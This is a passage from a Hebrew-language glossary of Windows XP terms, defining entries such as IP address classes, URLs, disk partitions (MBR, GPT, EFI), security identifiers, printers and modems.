‫ראה גם‪ :‬כתובת ‪ ;IP‬מחשב מארח; מחשב מרובה חיבורים‬

‫‪449‬‬
‫כתובת ‪ IP‬מ‪Class A -‬‬

‫כתובת ‪ IP‬לשידור ליעד בודד בטווח שבין ‪ 1.0.0.1‬ל‪ .126.255.255.254 -‬השמיניה הראשונה‬
‫מציינת את הרשת ושלוש השמיניות האחרות מציינות את המחשב המארח ברשת‪.‬‬

‫ראה גם‪ :‬כתובת ‪ ;IP‬כתובת ‪ IP‬מ‪ ;Class C -‬כתובת ‪ IP‬מ‪Class B -‬‬

‫כתובת ‪ IP‬מ‪Class B -‬‬

‫כתובת ‪ IP‬לשידור ליעד בודד בטווח שבין ‪ 128.0.0.1‬ל‪ .191.255.255.254 -‬שתי השמיניות‬
‫הראשונות מציינות את הרשת ושתי השמיניות האחרונות מציינות את המחשב המארח ברשת‪.‬‬

‫ראה גם‪ :‬כתובת ‪ ;IP‬כתובת ‪ IP‬מ‪ ;Class A -‬כתובת ‪ IP‬מ‪Class C -‬‬

‫כתובת ‪ IP‬מ‪Class C -‬‬

‫כתובת ‪ IP‬לשידור ליעד בודד בטווח שבין ‪ 192.0.0.1‬ל‪ .223.255.255.254 -‬שלוש‬


‫השמיניות הראשונות מציינות את הרשת והשמיניה האחרונה מציינת את המחשב‬
‫המארח ברשת‪ .‬איזון עומס ברשת מספק תמיכת הפעלה אופציונלית עבור כתובות ‪IP‬‬
‫מ‪( Class C -‬בנוסף לתמיכה בכתובות ‪ IP‬בודדות) כדי לסייע ללקוחות המשתמשים‬
‫בשרתי ‪ Proxy‬מרובים באתר הלקוח‪.‬‬

‫ראה גם‪ :‬כתובת ‪ ;IP‬כתובת ‪ IP‬מ‪ ;Class A -‬כתובת ‪ IP‬מ‪Class B -‬‬

‫כתובת אינטרנט‬

‫כתובת של משאב באינטרנט המשמשת את דפדפני האינטרנט לשם איתור משאבי אינטרנט‪.‬‬
‫כתובת אינטרנט מתחילה לרוב בשם פרוטוקול ואחריו שם הארגון המתחזק את האתר; הסיומת‬
‫מזהה את סוג הארגון‪ .‬לדוגמה‪ ,‬הכתובת ‪ http://www.yale.edu/‬מספקת את המידע הבא‪:‬‬

‫• ‪ :http‬שרת אינטרנט זה עושה שימוש בפרוטוקול העברת היפר‪-‬טקסט‪.‬‬


‫• ‪ :www‬אתר זה נמצא ב‪.World Wide Web -‬‬
‫• ‪ :edu‬זהו מוסד חינוכי‪.‬‬

‫כתובת אינטרנט מכונה גם ‪.)URL( Uniform Resource Locator‬‬


‫ראה גם‪ :‬פרוטוקול; שרת אינטרנט‬

‫כתובת זיכרון‬

‫פיסה מזיכרון המחשב הניתנת להקצאה להתקן או לשימוש על‪-‬ידי תוכנית או מערכת ההפעלה‪.‬‬
‫בדרך כלל מוקצה להתקנים טווח של כתובות זיכרון‪.‬‬

‫ראה גם‪ :‬התקן‬

‫כתובת שמורה‬

‫כתובת ‪ IP‬ספציפית בטווח השמורה באופן קבוע עבור שימוש מוחכר ללקוח ‪ DHCP‬ספציפי‪.‬‬
‫הזמנות מראש של לקוח מתבצעות במסד הנתונים של ‪ DHCP‬באמצעות מנהל ‪DHCP‬‬
‫ומבוססות על מזהה התקן לקוח ייחודי עבור כל אחד מהערכים השמורים‪.‬‬

‫‪450‬‬
‫ב‪ ,Admission Control Service -‬הקצאה של משאבי רשת‪ ,‬הכלולים בבקשת הזמנה מראש‬
‫של ‪ )RSVP( Resource Reservation Protocol‬באמצעות ‪Admission Control‬‬
‫‪.Service‬‬

‫ראה גם‪ ;)DHCP( Dynamic Host Configuration Protocol :‬כתובת ‪IP‬‬

‫ל‬
‫לא מקוון‬

‫מצב המסמן רכיב באשכול כלא זמין‪ .‬צומת במצב לא מקוון אינו פעיל או אינו פועל‪ .‬גם‬
‫במשאבים ובקבוצות ישנו מצב לא מקוון‪.‬‬

‫ראה גם‪ :‬מקוון; משאב; קבוצה‬

‫לוח אם‬

‫לוח המעגל החשמלי הראשי של מיקרו‪-‬מחשב‪ .‬לוח האם כולל מחברים לצירוף לוחות נוספים‪.‬‬

‫לחיצה‬

‫הצבת העכבר מעל אובייקט ולאחר מכן לחיצה ושחרור של לחצן העכבר הראשי (השמאלי)‪.‬‬

‫לחיצה באמצעות לחצן העכבר הימני‬

‫מיקום העכבר מעל אובייקט ולאחר מכן לחיצה על לחצן העכבר המשני (הימני) ושחרורו‪.‬‬
‫לחיצה באמצעות לחצן העכבר הימני פותחת תפריט קיצור המכיל פקודות שימושיות‪ ,‬המשתנות‬
‫בהתאם למיקום בו הלחיצה מתבצעת‪.‬‬

‫לחצן בשורת המשימות‬

‫לחצן המופיע בשורת המשימות עבור יישום פועל‪.‬‬

‫ראה גם‪ :‬שורת המשימות‬

‫לחצן עכבר ראשי‬

‫הלחצן המשמש בדרך כלל ללחיצה וללחיצה כפולה‪ .‬לחצן העכבר הראשי הוא הלחצן השמאלי‬
‫במרבית העכברים והתקני כדור העקיבה‪ ,‬והלחצן התחתון בהתקני כדור עקיבה מסוימים‪ ,‬אך‬
‫באפשרותך לשנות את תפקוד הלחצנים באמצעות תיבת הדו‪-‬שיח מאפייני עכבר בלוח הבקרה‪.‬‬

‫לכידה‬

‫הקצאת יציאה למדפסת‪ .‬מסמכים שאתה מדפיס נשלחים למדפסת דרך היציאה שנלכדה‪.‬‬

‫עבור צג הרשת‪ ,‬זהו התהליך שבו מועתקות מסגרות‪.‬‬

‫‪451‬‬
‫לקוח‬

‫כל מחשב או תוכנית המחוברים למחשב אחר או לתוכנית אחרת‪ ,‬או מבקשים את שירותיהם‪.‬‬
‫המונח לקוח עשוי להתייחס גם לתוכנה המאפשרת למחשב או לתוכנית ליצור את החיבור‪.‬‬

‫עבור רשת תקשורת מקומית (‪ )LAN‬או רשת האינטרנט‪ ,‬מחשב המשתמש במשאבי רשת‬
‫משותפים המסופקים על‪-‬ידי מחשב אחר (המכונה שרת)‪.‬‬

‫ראה גם‪ :‬שרת‬

‫לקוח הדמיית ‪(LEC) LAN‬‬

‫לקוח ברשת ‪ ELAN‬המבצע העברת נתונים‪ ,‬זיהוי כתובות ופעולות בקרה אחרות‪ .‬ה‪LEC -‬‬
‫שוכן בתחנות קצה ברשת ‪.ELAN‬‬

‫ראה גם‪ :‬הדמיית ‪ ;)LANE( LAN‬לקוח‬

‫מ‬
‫מאגר‬

‫אזור ב‪ RAM -‬השמור לשימוש עם נתונים המאוחסנים באופן זמני בעודם ממתינים להעברה‬
‫בין שני מיקומים‪ ,‬לדוגמה בין אזור נתונים של יישום להתקן קלט‪/‬פלט‪.‬‬

‫ראה גם‪ :‬זיכרון גישה אקראית (‪)RAM‬‬

‫מאגר אישורים‬

‫בדרך כלל‪ ,‬מאגר קבוע שבו מאוחסנים אישורים‪ ,‬רשימות ביטול אישורים ורשימות אישורים‬
‫אמינים‪.‬‬

‫ראה גם‪ :‬אישור; רשימת ביטול אישורים (‪)CRL‬‬

‫מאגר הדפסה‬

‫שתי מדפסות זהות או יותר המחוברות לשרת הדפסה אחד ופועלות כמדפסת יחידה‪ .‬במקרה כזה‪,‬‬
‫בעת הדפסת מסמך‪ ,‬משימת ההדפסה תישלח למדפסת הזמינה הראשונה במאגר‪.‬‬

‫ראה גם‪ :‬מדפסת; משימת הדפסה‬

‫מאגר הניתן להחלפה‬

‫הזיכרון הווירטואלי המוקצה על‪-‬ידי המערכת‪ ,‬שנטען אל תהליך ושניתן להחליפו‪ .‬החלפה היא‬
‫העברה של חלקים לא שימושיים בזיכרון הפעיל של תוכנית מה‪ RAM -‬לאמצעי אחסון אחר‪,‬‬
‫בדרך כלל הדיסק הקשיח‪.‬‬

‫במנהל המשימות‪ ,‬כמות הזיכרון הווירטואלי המוקצה על‪-‬ידי המערכת‪ ,‬בקילו‪-‬בתים‪ ,‬בו נעשה‬
‫שימוש בתהליך‪.‬‬

‫‪452‬‬
‫ראה גם‪ :‬זיכרון וירטואלי‬

‫מאפייני עיבוד תמונה‬

‫בניהול צבעים‪ ,‬הגישה המשמשת למיפוי הצבעים המצוינים בקובץ תמונה לערכת הצבעים של‬
‫הצג או המדפסת שלך‪ .‬ערכת הצבעים היא טווח הצבעים שלהתקן יש אפשרות להפיק‪.‬‬

‫ראה גם‪ :‬מכלול הצבעים‬

‫מארח אבטחה‬

‫התקן אימות‪ ,‬המהווה השלמה לאבטחת שרת תקנית לגישה ל‪ Windows -‬וגישה מרחוק;‬
‫ההתקן מוודא אם גורם קורא מלקוח מרוחק מורשה להתחבר לשרת הגישה מרחוק‪.‬‬

‫ראה גם‪ :‬אימות‬

‫מגה‪-‬בית )‪(MB‬‬

‫‪ 1,048,576‬בתים‪ ,‬אם כי לעיתים קרובות ההתייחסות ליחידה זו היא כמיליון בתים‪.‬‬

‫ראה גם‪ :‬ג'יגה‪-‬בית (‪ ;)GB‬קילו‪-‬בית (‪)KB‬‬

‫מדיניות‬

‫המנגנון שבאמצעותו הגדרות שולחן עבודה נקבעות אוטומטית‪ ,‬על‪-‬פי הגדרת המנהל‪ .‬בהתאם‬
‫להקשר‪ ,‬מונח זה עשוי להתייחס למדיניות קבוצתית‪ ,‬למדיניות מערכת של ‪Windows NT 4.0‬‬
‫או להגדרה ספציפית באובייקט מדיניות קבוצתית‪.‬‬

‫ראה גם‪ :‬אובייקט מדיניות קבוצתית; מדיניות קבוצתית‬

‫מדיניות קבוצתית‬

‫יישום ‪ Snap-in‬של ‪ )MMC( Microsoft Management Console‬המשמש לעריכת‬


‫אובייקטי מדיניות קבוצתית‪.‬‬

‫ראה גם‪ :‬אובייקט מדיניות קבוצתית; יישום ‪ ;Snap-in‬מדיניות‬

‫מדפסות ופקסים‬

‫התיקיה בלוח הבקרה המכילה את אשף הוספת המדפסת וסמלים עבור כל המדפסות המותקנות‬
‫במחשב שלך‪.‬‬

‫ראה גם‪ :‬מדפסת‬

‫מדפסת‬

‫התקן המעביר טקסט או תמונות לנייר או לאמצעי הדפסה אחר‪ .‬לדוגמה‪ ,‬מדפסות לייזר ומדפסות‬
‫סיכות‪.‬‬

‫‪453‬‬
‫ראה גם‪ :‬מאגר הדפסה; מדפסת לוגית; מנגנון הדפסה ברקע (‪)print spooler‬‬

‫מדפסת ‪PostScript‬‬

‫מדפסת המשתמשת בשפת תיאור העמוד (‪ PostScript )PDL‬לשם יצירת טקסט וגרפיקה‬
‫באמצעי הקלט‪ ,‬כגון נייר או שקף‪ NEC LC-890 ,Apple LaserWriter .‬ו‪QMS PS-810 -‬‬
‫הינן דוגמאות למדפסות ‪.PostScript‬‬

‫ראה גם‪ ;PostScript :‬זיכרון מדפסת וירטואלי; שפת תיאור עמוד (‪)PDL‬‬

‫מדפסת לוגית‬

‫ממשק התוכנה שבין מערכת ההפעלה למדפסת ב‪ .Windows -‬בעוד שמדפסת היא ההתקן‬
‫שמבצע את ההדפסה לכשעצמה‪ ,‬מדפסת לוגית היא ממשק התוכנה שלה בשרת ההדפסה‪ .‬ממשק‬
‫תוכנה זה קובע כיצד יש לעבד משימת הדפסה וכיצד לנתב אותה ליעדה (ליציאה מקומית או‬
‫יציאת רשת‪ ,‬לקובץ או לשיתוף הדפסות מרוחק)‪ .‬בעת הדפסת מסמך‪ ,‬הוא מאוחסן במדפסת‬
‫הלוגית לפני שליחתו למדפסת עצמה‪.‬‬

‫ראה גם‪ :‬הדפסה ברקע; מדפסת‬

‫מדפסת משותפת‬

‫מדפסת המקבלת קלט ממספר מחשבים‪ .‬לדוגמה‪ ,‬ניתן לשתף מדפסת המחוברת למחשב אחר‬
‫ברשת כך שהיא תהיה זמינה עבורך לשימוש‪ .‬מדפסת משותפת קרויה גם מדפסת רשת‪.‬‬

‫ראה גם‪ :‬מדפסת‬

‫מודם )‪ = modulator/demodulator‬מאפנן‪/‬ממצה אפנון(‬

‫התקן המאפשר לשדר או לקבל מידע מחשב דרך קו טלפון‪ .‬המודם המשדר מתרגם מידע מחשב‬
‫דיגיטלי לאותות אנלוגיים שניתן להעבירם דרך קו טלפון‪ .‬המודם המקבל מתרגם את האותות‬
‫האנלוגיים בחזרה לתבנית דיגיטלית‪.‬‬

‫ראה גם‪ ;)TAPI( Telephony API :‬דחיסת מודם; המתנה לשיחה; יציאה; כבל מודם מסוג‬
‫‪Null‬‬

‫מודם כבלים‬

‫התקן המאפשר חיבור בפס רחב לאינטרנט באמצעות תשתית הטלוויזיה בכבלים‪ .‬מהירויות‬
‫הגישה משתנות מאוד‪ ,‬כאשר קצב ההעברה המהיר ביותר הוא ‪ 10‬מגה‪-‬סיביות בשניה (‪.)Mbps‬‬

‫מזהה‬

‫תוכניות לקוח של ‪ DNS‬המשמשות לחיפוש מידע אודות שם ‪ .DNS‬מזהים יכולים להיות ‪stub‬‬
‫(קבוצה מוגבלת של רוטינות תיכנות המספקות פונקציונליות בסיסית של שאילתות) קטן או‬
‫תוכניות גדולות יותר המספקות פונקציות חיפוש נוספות של לקוח ‪ ,DNS‬כגון אחסון במטמון‪.‬‬

‫ראה גם‪)DNS( Domain Name System :‬‬

‫‪454‬‬
‫מזהה אבטחה )‪(SID‬‬

‫מבנה נתונים באורך משתנה המזהה חשבונות משתמש‪ ,‬קבוצה ומחשב‪ .‬עבור כל חשבון ברשת‬
‫מונפק ‪ SID‬ייחודי כאשר הוא נוצר לראשונה‪ .‬תהליכים פנימיים ב‪ Windows -‬מתייחסים ל‪-‬‬
‫‪ SID‬של החשבון ולא לשם המשתמש או הקבוצה של החשבון‪.‬‬

‫ראה גם‪ :‬חשבון משתמש; חשבון קבוצה; שם משתמש; שם קבוצה‬

‫מזהה יחסי )‪(RID‬‬

‫החלק במזהה אבטחה (‪ )SID‬המזהה באופן ייחודי חשבון או קבוצה בקבוצת מחשבים‪.‬‬

‫ראה גם‪ :‬מזהה אבטחה (‪ ;)SID‬קבוצה; קבוצת מחשבים‬

‫מזהה פרופיל שירות )‪(SPID‬‬

‫מספר בן ‪ 8‬עד ‪ 14‬ספרות המזהה את השירותים שהזמנת עבור כל אחד מערוצי‪ .B-‬לדוגמה‪,‬‬
‫כאשר אתה מזמין ‪ ,Primary Rate ISDN‬תקבל שני מספרי טלפון ושני ‪ SPID‬מספק ה‪-‬‬
‫‪ ISDN‬שלך‪ .‬למתאמי ‪ ISDN‬אין אפשרות לפעול ללא קביעת תצורה של ‪.SPID‬‬

‫ראה גם‪ :‬רשת דיגיטלית של שירותים משולבים (‪ ;)ISDN‬שירות‬

‫מזעור‬

‫הקטנת חלון לגודל לחצן בשורת המשימות על‪-‬ידי לחיצה על לחצן מזער (בצידו השמאלי של‬
‫פס הכותרת) או על‪-‬ידי הקשה על ‪+ALT‬מקש רווח ולאחר מכן הקשה על ‪.N‬‬

‫ראה גם‪ :‬הגדלה; פס כותרת‬

‫מחבר ‪BNC‬‬

‫מחבר עבור כבלים קואקסיאליים הננעל בעת הכנסת מחבר אחד לאחר וסיבובו בתשעים מעלות‪.‬‬

‫מחבר ‪IEEE 1394‬‬

‫סוג של מחבר המאפשר לחבר ולנתק התקנים טוריים מהירים‪ .‬מחבר ‪ IEEE 1394‬נמצא לרוב‬
‫בגב המחשב ליד היציאה הטורית או היציאה המקבילית‪.‬‬

‫אם התקן הוא תואם ‪ ,IEEE 1394‬באפשרותך לחבר אותו למחבר ‪ IEEE 1394‬בשעה‬
‫שהמחשב פועל ו‪ Windows -‬יזהה את ההתקן ויודיע לך כאשר הוא מוכן לשימוש‪ .‬בדומה לכך‪,‬‬
‫באפשרותך לנתק את ההתקן בשעה שהמחשב פועל‪ ,‬אך רצוי כי תשתמש באשף הוספת החומרה‬
‫כדי להודיע ל‪ Windows -‬על ניתוק ההתקן‪ Windows .‬יודיע לך כאשר ניתן יהיה לנתק את‬
‫ההתקן מהמחשב‪.‬‬

‫אפיק ‪ IEEE 1394‬משמש בעיקר לחיבור התקני וידאו ושמע דיגיטליים מתקדמים למחשב; עם‬
‫זאת‪ ,‬קיימים גם דיסקים קשיחים‪ ,‬מדפסות‪ ,‬סורקים וכונני ‪ DVD‬שניתן לחבר למחשב באמצעות‬
‫מחבר ‪.IEEE 1394‬‬

‫‪455‬‬
‫מחובר‪ ,‬משתמש מאומת‬

‫מצב של משתמש לאחר שנוצרה התקשרות טלפונית והמשתמש הזין שם משתמש וסיסמה‬
‫נכונים‪ .‬אם למשתמש יש הרשאת התקשרות חזרה והוא ביקש התקשרות חזרה‪ ,‬לאחר החיבור‬
‫יתבצע שלב התקשרות חזרה‪ .‬אם לאחר שלב ההתקשרות חזרה מתקיים שלב המתנה לשיחה‪,‬‬
‫הדבר מצביע על כך שלשרת לא היתה אפשרות ליצור קשר עם המשתמש במספר שצוין‪ .‬ייתכן‬
‫כי המשתמש סיפק מספר שגוי להתקשרות חזרה (במקרה של התקשרות חזרה שהוגדרה על‪-‬ידי‬
‫המשתמש) או שמתבצע ניסיון לגשת לרשת באופן לא מורשה (במקרה של התקשרות חזרה‬
‫מוגדרת מראש)‪.‬‬

‫ראה גם‪ :‬התקשרות חזרה לפי גורם קורא; התקשרות חזרה קבועה מראש‬

‫מחיצה‬

‫חלק מדיסק פיזי המתפקד כאילו היה דיסק נפרד באופן פיזי‪ .‬לאחר יצירת מחיצה‪ ,‬עליך לאתחל‬
‫אותה ולהקצות לה אות כונן כדי לאחסן בה נתונים‪.‬‬

‫בדיסקים בסיסיים‪ ,‬מחיצות ידועות כאמצעי אחסון בסיסיים‪ ,‬הכוללים מחיצות ראשיות וכוננים‬
‫לוגיים‪ .‬בדיסקים דינאמיים‪ ,‬מחיצות ידועות כאמצעי אחסון דינאמיים‪ ,‬הכוללים אמצעי אחסון‬
‫פשוטים‪ ,‬מפוצלים ומורחבים‪ ,‬אמצעי אחסון שעברו שיקוף ואמצעי אחסון מסוג ‪.RAID-5‬‬

‫ראה גם‪ :‬אות כונן; אמצעי אחסון בסיסי; אמצעי אחסון דינאמי; דיסק בסיסי; מחיצה מורחבת;‬
‫מחיצה ראשית; מחיצת מערכת‬

‫מחיצה מורחבת‬

‫סוג של מחיצה שבאפשרותך ליצור רק בדיסקים בסיסיים של רשומת אתחול ראשית (‪.)MBR‬‬
‫מחיצות מורחבות שימושיות כאשר ברצונך ליצור יותר מארבעה אמצעי אחסון על דיסק ‪MBR‬‬
‫בסיסי‪ .‬שלא כמו מחיצות ראשיות‪ ,‬אין צורך לאתחל מחיצה מורחבת עם מערכת קבצים ולאחר‬
‫מכן להקצות לה אות כונן‪ .‬במקום זאת‪ ,‬יש ליצור כונן לוגי אחד או יותר במחיצה המורחבת‪.‬‬
‫לאחר יצירת כונן לוגי‪ ,‬יש לאתחל אותו ולהקצות לו אות כונן‪ .‬דיסק ‪ MBR‬יכול להכיל עד‬
‫ארבע מחיצות ראשיות‪ ,‬או שלוש מחיצות ראשיות‪ ,‬מחיצה מורחבת אחת וכוננים לוגיים‬
‫מרובים‪.‬‬

‫ראה גם‪ :‬אות כונן; אמצעי אחסון; דיסק בסיסי; כונן לוגי; מחיצה; מחיצה ראשית; רשומת‬
‫אתחול ראשית (‪)MBR‬‬

‫מחיצה פעילה‬

‫מחיצה שממנה מופעל מחשב מבוסס ‪ .x86‬על המחיצה הפעילה להיות מחיצה ראשית בדיסק‬
‫בסיסי‪ .‬אם אתה משתמש במערכת ההפעלה ‪ Windows‬בלבד‪ ,‬המחיצה הפעילה יכולה להיות‬
‫זהה לאמצעי האחסון של המערכת‪.‬‬

‫ראה גם‪ ;x86 :‬אמצעי האחסון של המערכת; דיסק בסיסי; מחיצה ראשית; מחיצת מערכת‬

‫מחיצה ראשית‬

‫סוג של מחיצה שבאפשרותך ליצור בדיסקים בסיסיים‪ .‬מחיצה ראשית היא חלק מדיסק פיזי‬
‫הפועלת כאילו הייתה דיסק נפרד באופן פיזי‪ .‬בדיסקים של רשומת אתחול ראשית (‪)MBR‬‬
‫בסיסיים‪ ,‬באפשרותך ליצור עד ארבע מחיצות ראשיות בדיסק בסיסי‪ ,‬או שלוש מחיצות ראשיות‬

‫‪456‬‬
‫ומחיצה מורחבת עם מספר דיסקים לוגיים‪ .‬בדיסקים בסיסיים של ‪ ,GPT‬באפשרותך ליצור עד‬
‫‪ 128‬מחיצות ראשיות‪ .‬מחיצות ראשיות ידועות גם כאמצעי אחסון‪.‬‬

‫ראה גם‪ :‬אמצעי אחסון; דיסק בסיסי; כונן לוגי; מחיצה; מחיצה מורחבת; רשומת אתחול ראשית‬
‫(‪)MBR‬‬

‫מחיצת ‪(MSR) Microsoft Reserved‬‬

‫מחיצה הדרושה בכל דיסק טבלת מחיצות ‪ .)GPT( GUID‬לרכיבי המערכת יש אפשרות‬
‫להקצות חלקים של מחיצת ‪ MSR‬למחיצות חדשות לשימושם הפרטי‪ .‬לדוגמה‪ ,‬בעת המרת דיסק‬
‫‪ GPT‬בסיסי לדיסק דינאמי‪ ,‬המערכת מקצה חלק ממחיצת ‪ MSR‬לשימוש כמחיצת מטה‪-‬נתונים‬
‫של מנהל הדיסק הלוגי (‪ .)LDM‬מחיצת ‪ MSR‬משתנה בגודלה בהתאם לגודל דיסק ‪.GPT‬‬
‫בדיסקים קטנים מ‪ ,16 GB -‬גודלה של מחיצת ‪ MSR‬הוא ‪ .32 MB‬בדיסקים גדולים מ‪16 -‬‬
‫‪ ,GB‬גודלה של מחיצת ‪ MSR‬הוא ‪ .128 MB‬מחיצת ‪ MSR‬אינה מוצגת בניהול הדיסק ואין‬
‫באפשרותך לאחסן נתונים במחיצת ‪ MSR‬או למחוק אותה‪.‬‬

‫ראה גם‪ :‬מחיצה‬

‫מחיצת אתחול‬

‫המחיצה המכילה את מערכת ההפעלה ‪ Windows‬ואת קבצי התמיכה שלה‪ .‬מחיצת האתחול‬
‫יכולה להיות זהה למחיצת המערכת‪ ,‬אך אין זה הכרחי‪.‬‬

‫ראה גם‪ :‬דיסק ראשי; מחיצה; מחיצת מערכת‬

‫מחיצת מערכת‬

‫המחיצה המכילה את הקבצים הספציפיים לחומרה הנחוצים כדי לטעון את ‪( Windows‬לדוגמה‪,‬‬


‫‪ .)Ntdetect.com ,Boot.ini ,Osloader ,Ntldr‬מחיצת מערכת עשויה להיות זהה למחיצת‬
‫אתחול‪ ,‬אך אין בכך הכרח‪.‬‬

‫ראה גם‪ :‬מחיצה; מחיצת אתחול‬

‫מחיצת מערכת ‪EFI‬‬

‫במחשבים מבוססי ‪ ,Itanium‬חלק מדיסק טבלת מחיצות ‪ )GPT( GUID‬המאותחל עם מערכת‬


‫הקבצים ‪ FAT‬ומכיל את הקבצים הנחוצים להפעלת המחשב‪ .‬על כל מחשב מבוסס ‪Itanium‬‬
‫לכלול דיסק ‪ GPT‬אחד לפחות עם מחיצת מערכת ‪ .EFI‬מחיצת מערכת ‪ EFI‬משמשת לאותה‬
‫מטרה כמו אמצעי אחסון המערכת המצוי במחשבים מבוססי ‪.x86‬‬

‫ראה גם‪ ;x86 :‬מחיצת ‪ ;)MSR( Microsoft Reserved‬ממשק קושחה בר‪-‬הרחבה (‪)EFI‬‬

‫מחיצת ספריה‬

‫עץ משנה רציף של הספריה המהווה יחידת שכפול‪ .‬עותק משוכפל נתון הוא תמיד עותק משוכפל‬
‫של מחיצת ספריה מסוימת‪ .‬לספריה תמיד יש לפחות שלוש מחיצות ספריה‪:‬‬

‫•הסכימה‪ ,‬אשר מגדירה את מחלקות האובייקטים והתכונות המוכלות ב‪Active -‬‬


‫‪.Directory‬‬

‫‪457‬‬
‫•התצורה‪ ,‬המזהה את בקרי קבוצת המחשבים‪ ,‬טופולגיית השכפול ומידע קרוב נוסף‬
‫אודות בקרי קבוצת המחשבים ביישום ספציפי של ‪.Active Directory‬‬
‫•קבוצת מחשבים אחת או יותר המכילה את נתוני אובייקטי הספריה עצמם‪.‬‬

‫בקר קבוצת מחשבים תמיד מאחסן את המחיצות של הסכימה‪ ,‬התצורה וקבוצת המחשבים שלו‬
‫עצמו (ולא אף אחת אחרת)‪ .‬הסכימה והתצורה משוכפלות לכל בקר קבוצת מחשבים בעץ או‬
‫ביער קבוצות המחשבים‪ .‬קבוצת המחשבים משוכפלת רק לבקרי קבוצות מחשבים של אותה‬
‫קבוצת המחשבים‪ .‬קבוצת משנה של התכונות של כל אובייקטי קבוצת המחשבים משוכפלת‬
‫לקטלוג הכללי‪.‬‬

‫ראה גם‪ ;Active Directory :‬עותק משוכפל; קבוצת מחשבים; שכפול; תכונה‬

‫מחיצת רשת‬

‫מצב בו לאחד או יותר מהצמתים באשכול אין אפשרות ליצור תקשורת עם צמתי האשכול‬
‫האחרים‪.‬‬

‫מחסנית גופנים‬

‫יחידת ‪ Plug-in‬הזמינה עבור מדפסות מסוימות‪ ,‬המכילה גופנים במספר סגנונות וגדלים‪ .‬בדומה‬
‫לגופנים נטענים‪ ,‬למדפסות המשתמשות במחסניות גופנים יש אפשרות להפיק תווים בגדלים‬
‫וסגנונות שונים מאשר אלה שנוצרו באמצעות הגופנים המוכללים בהן‪.‬‬

‫ראה גם‪ :‬גופן; גופנים נטענים‬

‫מחרוזת מזהה מנוי מקבל )‪(CSID‬‬

‫מחרוזת המציינת את מזהה המנוי המקבל שהועבר על‪-‬ידי מכשיר הפקס המקבל בעת קבלת פקס‬
‫נכנס‪ .‬מחרוזת זו היא בדרך‪-‬כלל שילוב של מספר הפקס או הטלפון ושם העסק‪ .‬היא זהה לעיתים‬
‫קרובות למזהה המנוי המשדר‪.‬‬

‫ראה גם‪ :‬מחרוזת מזהה תחנת שידור (מחרוזת ‪)TSID‬‬

‫מחרוזת מזהה תחנת שידור )מחרוזת ‪(TSID‬‬

‫מחרוזת המציינת את מזהה מנוי המשדר הנשלח על‪-‬ידי מכשיר הפקס בעת שליחת פקס למחשב‬
‫מקבל‪ .‬מחרוזת זו מהווה בדרך כלל צירוף של מספר הטלפון או הפקס ושם העסק‪ .‬היא לעיתים‬
‫קרובות זהה למזהה המנוי המקבל‪.‬‬

‫ראה גם‪ :‬מחרוזת מזהה מנוי מקבל (‪)CSID‬‬

‫מחשב מארח‬

‫מחשב ‪ Windows‬שבו פועלים תוכנית או שירות של שרת הנמצאים בשימוש לקוחות רשת או‬
‫לקוחות מרוחקים‪ .‬באיזון עומס ברשת‪ ,‬אשכול מורכב ממחשבים מארחים רבים המחוברים‬
‫ברשת תקשורת מקומית (‪.)LAN‬‬

‫ראה גם‪ :‬לקוח; רשת תקשורת מקומית (‪ ;)LAN‬שירות; שרת‬

‫‪458‬‬
‫מחשב מרובה חיבורים‬

‫מחשב בעל מתאמי רשת מרובים או מחשב שתצורתו נקבעה לכתובות ‪ IP‬מרובות עבור מתאם‬
‫רשת יחיד‪.‬‬

‫ראה גם‪ :‬כתובת ‪ ;IP‬כתובת ‪ IP‬וירטואלית; מתאם רשת‬

‫מטה‪-‬נתונים‬

‫נתונים אודות נתונים‪ .‬לדוגמה‪ ,‬הכותרת‪ ,‬הנושא‪ ,‬המחבר והגודל של קובץ מרכיבים את המטה‪-‬‬
‫נתונים של הקובץ‪.‬‬

‫מכלול הצבעים‬

‫טווח הצבעים המסוים שלהתקן יש אפשרות להפיק‪ .‬להתקן כגון סורק‪ ,‬צג או מדפסת יש‬
‫אפשרות להפיק טווח ייחודי של צבעים הנקבע על‪-‬ידי מאפייני ההתקן עצמו‪.‬‬

‫ראה גם‪ :‬מאפייני עיבוד תמונה; פרופיל צבע‬

‫ממשק קושחה בר‪-‬הרחבה )‪(EFI‬‬

‫במחשבים עם מעבד ‪ ,Intel Itanium‬הממשק בין הקושחה‪ ,‬החומרה ומערכת ההפעלה של‬
‫המחשב‪ .‬ה‪ EFI -‬מגדיר סגנון מחיצה חדש המכונה טבלת מחיצה מסוג ‪EFI .)GPT( GUID‬‬
‫משמש במחשבים מבוססי ‪ Itanium‬לאותה מטרה כמו ה‪ BIOS -‬במחשבים מבוססי ‪ .x86‬עם‬
‫זאת‪ ,‬יש לו יכולות מורחבות המספקות דרך עקבית להפעלת כל מערכת הפעלה תואמת ודרך‬
‫קלה להוספת מנהלי התקנים מסוג ‪ EFI‬עבור התקנים חדשים הניתנים לאתחול ללא צורך‬
‫בעדכון קושחת המחשב‪.‬‬

‫ראה גם‪ ;x86 :‬מערכת קלט‪/‬פלט בסיסית (‪)BIOS‬‬

‫מנגנון הדפסה ברקע )‪(print spooler‬‬

‫תוכנה המקבלת מסמך שנשלח למדפסת ולאחר מכן מאחסנת אותו בדיסק או בזיכרון עד‬
‫שהמדפסת מוכנה עבורו‪ .‬אוסף זה של ספריות קישורים דינאמיים (קבצי ‪ )DLL‬מקבל‪ ,‬מתזמן‬
‫ומפיץ מסמכים להדפסה‪ .‬המונח ‪ spooler‬נוצר מראשי התיבות של ‪simultaneous print‬‬
‫‪.operations on line‬‬

‫ראה גם‪ :‬הדפסה ברקע; מדפסת; ספריית קישור דינאמי (‪)DLL‬‬

‫מנה‬

‫יחידת שידור שכבות רשת של ‪ )OSI( Open Systems Interconnection‬המורכבת ממידע‬


‫בינארי שמייצג נתונים וכותרת המכילים מספר זיהוי‪ ,‬כתובות מקור ויעד ונתוני בקרה על‬
‫שגיאות‪.‬‬

‫ראה גם‪ hub :‬של מיתוג; פרוטוקול אינטרנט (‪)IP‬‬

‫‪459‬‬
‫מנהל‬

‫ב‪ ,Windows XP Professional -‬אדם האחראי על הגדרה וניהול של בקרי קבוצות מחשבים‬
‫או מחשבים מקומיים וחשבונות וקבוצות המשתמשים שלהם‪ ,‬הקצאת סיסמאות והרשאות ומתן‬
‫עזרה למשתמשים בנושאי עבודה ברשת‪ .‬המנהלים חברים בקבוצה ‪ Administrators‬ויש בידם‬
‫שליטה מלאה על קבוצת המחשבים או המחשב‪.‬‬

‫ב‪ ,Windows XP Home Edition -‬אדם בעל האפשרות לבצע שינויים במערכת במחשב‪,‬‬
